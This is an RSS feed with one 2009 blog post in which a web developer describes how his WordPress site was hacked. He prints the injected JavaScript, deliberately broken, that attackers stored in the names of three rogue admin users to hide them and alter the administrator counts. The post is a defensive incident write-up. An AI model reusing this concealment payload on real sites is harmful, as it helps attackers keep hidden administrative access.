<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dan.forys.co.uk &#187; hack</title>
	<atom:link href="http://dan.forys.co.uk/tag/hack/feed/" rel="self" type="application/rss+xml" />
	<link>http://dan.forys.co.uk</link>
	<description>Dan is a web developer in London. He is interested in all things Internet, Linux and Mac.</description>
	<lastBuildDate>Fri, 22 Jan 2010 14:25:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Symptoms of a WordPress Hack</title>
		<link>http://dan.forys.co.uk/symptoms-of-a-wordpress-hack/</link>
		<comments>http://dan.forys.co.uk/symptoms-of-a-wordpress-hack/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 21:06:35 +0000</pubDate>
		<dc:creator>Dan</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://danforys.com/?p=119</guid>
		<description><![CDATA[I came to my site on Sunday morning ready to write the latest in my PHP tutorial, only to find a nasty looking 500 server error. I couldn&#8217;t even log into the admin panel. After a while tinkering with various configuration settings and trying to get something to come up, I started searching the web. [...]]]></description>
			<content:encoded><![CDATA[<p>I came to my site on Sunday morning ready to write the latest in my PHP tutorial, only to find a nasty looking 500 server error. I couldn&#8217;t even log into the admin panel.</p>
<p>After a while tinkering with various configuration settings and trying to get something to come up, I started searching the web. Turns out, earlier versions of WordPress were vulnerable to specific hacks that could let attackers create their own admin users.</p>
<p><span id="more-119"></span></p>
<p>Looking in the WordPress users table, three new users had been created. Their first names were set to the following: (note: code deliberately broken so I don&#8217;t trigger security protections)</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">...
&nbsp;
<span style="color: #339933;">&lt;</span>b id<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;user_superuser&quot;</span><span style="color: #339933;">&gt;&lt;</span>script language<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;JavaScript&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #003366; font-weight: bold;">var</span> setUserName <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
          <span style="color: #000066; font-weight: bold;">try</span><span style="color: #009900;">&#123;</span>
               <span style="color: #003366; font-weight: bold;">var</span> t<span style="color: #339933;">=</span>document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;user_superuser&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #000066; font-weight: bold;">while</span><span style="color: #009900;">&#40;</span>t.<span style="color: #660066;">nodeName</span><span style="color: #339933;">!=</span><span style="color: #3366CC;">&quot;TR&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                    t<span style="color: #339933;">=</span>t.<span style="color: #660066;">parentNode</span><span style="color: #339933;">;</span>\n               <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
               t.<span style="color: #660066;">parentNode</span>.<span style="color: #660066;">removeChild</span><span style="color: #009900;">&#40;</span>t<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #003366; font-weight: bold;">var</span> tags <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;H3&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #003366; font-weight: bold;">var</span> s <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot; shown below&quot;</span><span style="color: #339933;">;</span>
               <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> tags.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                    <span style="color: #003366; font-weight: bold;">var</span> t<span style="color: #339933;">=</span>tags<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">innerHTML</span><span style="color: #339933;">;</span>
                    <span style="color: #003366; font-weight: bold;">var</span> h<span style="color: #339933;">=</span>tags<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                    <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>t.<span style="color: #660066;">indexOf</span><span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                         s <span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span>parseInt<span style="color: #009900;">&#40;</span>t<span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>s<span style="color: #339933;">;</span>
                         h.<span style="color: #660066;">removeChild</span><span style="color: #009900;">&#40;</span>h.<span style="color: #660066;">firstChild</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         t <span style="color: #339933;">=</span> document.<span style="color: #660066;">createTextNode</span><span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         h.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>t<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                    <span style="color: #009900;">&#125;</span>
               <span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #003366; font-weight: bold;">var</span> arr<span style="color: #339933;">=</span>document.<span style="color: #660066;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;ul&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #000066; font-weight: bold;">in</span> arr<span style="color: #009900;">&#41;</span> <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>arr<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">className</span><span style="color: #339933;">==</span><span style="color: #3366CC;">&quot;subsubsub&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		    <span style="color: #003366; font-weight: bold;">var</span> n<span style="color: #339933;">=</span><span style="color: #009966; font-style: italic;">/&gt;Administrator \\((\\d+)\\)&lt;/gi</span>.<span style="color: #660066;">e</span><span style="color: #339933;">-</span>xec<span style="color: #009900;">&#40;</span>arr<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">innerHTML</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		    <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>n<span style="color: #339933;">!=</span><span style="color: #003366; font-weight: bold;">null</span> <span style="color: #339933;">&amp;&amp;</span> n<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&gt;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #003366; font-weight: bold;">var</span> txt<span style="color: #339933;">=</span>arr<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">innerHTML</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/&gt;Administrator \\((\\d+)\\)&lt;/gi</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;&gt;Administrator (&quot;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span>n<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;)&lt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			arr<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">innerHTML</span><span style="color: #339933;">=</span>txt<span style="color: #339933;">;</span>
		    <span style="color: #009900;">&#125;</span>
&nbsp;
		    <span style="color: #003366; font-weight: bold;">var</span> n<span style="color: #339933;">=</span><span style="color: #009966; font-style: italic;">/&gt;Administrator &lt;span class=&quot;count&quot;&gt;\\((\\d+)\\)&lt;/gi</span>.<span style="color: #660066;">e</span><span style="color: #339933;">-</span>xec<span style="color: #009900;">&#40;</span>arr<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">innerHTML</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		    <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>n<span style="color: #339933;">!=</span><span style="color: #003366; font-weight: bold;">null</span> <span style="color: #339933;">&amp;&amp;</span> n<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&gt;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #003366; font-weight: bold;">var</span> txt<span style="color: #339933;">=</span>arr<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">innerHTML</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/&gt;Administrator &lt;span class=&quot;count&quot;&gt;\\((\\d+)\\)&lt;/gi</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;&gt;Administrator &lt;span class=<span style="color: #000099; font-weight: bold;">\\</span>&quot;</span>count\\<span style="color: #3366CC;">&quot;&gt;(&quot;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span>n<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;)&lt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			arr<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">innerHTML</span><span style="color: #339933;">=</span>txt<span style="color: #339933;">;</span>
		    <span style="color: #009900;">&#125;</span>
&nbsp;
		    <span style="color: #003366; font-weight: bold;">var</span> n<span style="color: #339933;">=</span><span style="color: #009966; font-style: italic;">/&gt;All &lt;span class=&quot;count&quot;&gt;\\((\\d+)\\)&lt;/gi</span>.<span style="color: #660066;">e</span><span style="color: #339933;">-</span>xec<span style="color: #009900;">&#40;</span>arr<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">innerHTML</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		    <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>n<span style="color: #339933;">!=</span><span style="color: #003366; font-weight: bold;">null</span> <span style="color: #339933;">&amp;&amp;</span> n<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&gt;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #003366; font-weight: bold;">var</span> txt<span style="color: #339933;">=</span>arr<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">innerHTML</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/&gt;All &lt;span class=&quot;count&quot;&gt;\\((\\d+)\\)&lt;/gi</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;&gt;All &lt;span class=<span style="color: #000099; font-weight: bold;">\\</span>&quot;</span>count\\<span style="color: #3366CC;">&quot;&gt;(&quot;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span>n<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;)&lt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			arr<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">innerHTML</span><span style="color: #339933;">=</span>txt<span style="color: #339933;">;</span>
		    <span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>		
          <span style="color: #009900;">&#125;</span><span style="color: #000066; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    addLoadEvent<span style="color: #009900;">&#40;</span>setUserName<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></div></div>

<p>Note the three periods on the first line? Ingeniously, when you look at the records directly in the database using a tool like <a href="http://www.phpmyadmin.net/">phpMyAdmin</a>, it defaults to only showing the first line. This makes the field appear as &#8216;&#8230;&#8217; &#8211; you only see the actual evil payload if you activate the full text view.</p>
<p>WordPress spits out the above code verbatim on the users page, without turning it into HTML entities. When run, the code looks for the maliciously injected users in the HTML, hides them and modifies the administrators count. This means that as long as Javascript is turned on in your browser, you&#8217;ll never see the extra users without manually looking into the database.</p>
<p>This was my users page with Javascript turned on:<br />
<img src="http://danforys.com/wp-content/uploads/2009/11/json.png" alt="json" title="json" width="600" height="125" class="alignnone size-full wp-image-126" /></p>
<p>and this is what happened when I turned Javascript off:<br />
<img src="http://danforys.com/wp-content/uploads/2009/11/jsoff.png" alt="jsoff" title="jsoff" width="600" height="229" class="alignnone size-full wp-image-127" /></p>
<p>Magic! Three extra users have appeared! </p>
<p>Again, note the three periods that appear as the user name &#8211; this is where the sneaky Javascript was embedded. The other sneaky thing is that two out of the three injected users had managed to replicate my correct email address, the third had it set as &#8216;www@www.com&#8217;.</p>
<p>Once a malicious user is logged in as an adminstrator, they have free reign to do as they please &#8211; including directly modifying PHP code in the WordPress admin panel. It turns out that the server 500 errors were due to the hackers modifying the theme files I was using. It took a clean install of the theme before I could get into the blog again. Hopefully, I&#8217;ll do a post-mortem on the theme and post any malicious findings here.</p>
<p>The moral of the story? Keep your WordPress install up to date and keep an eye on the users table.</p>
<p>If you think you&#8217;ve been hacked, I&#8217;ve spotted a couple of <a href="http://ocaoimh.ie/did-your-wordpress-site-get-hacked/">useful</a> <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/">guides</a> to dealing with the aftermath.</p>
]]></content:encoded>
			<wfw:commentRss>http://dan.forys.co.uk/symptoms-of-a-wordpress-hack/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.245 seconds -->
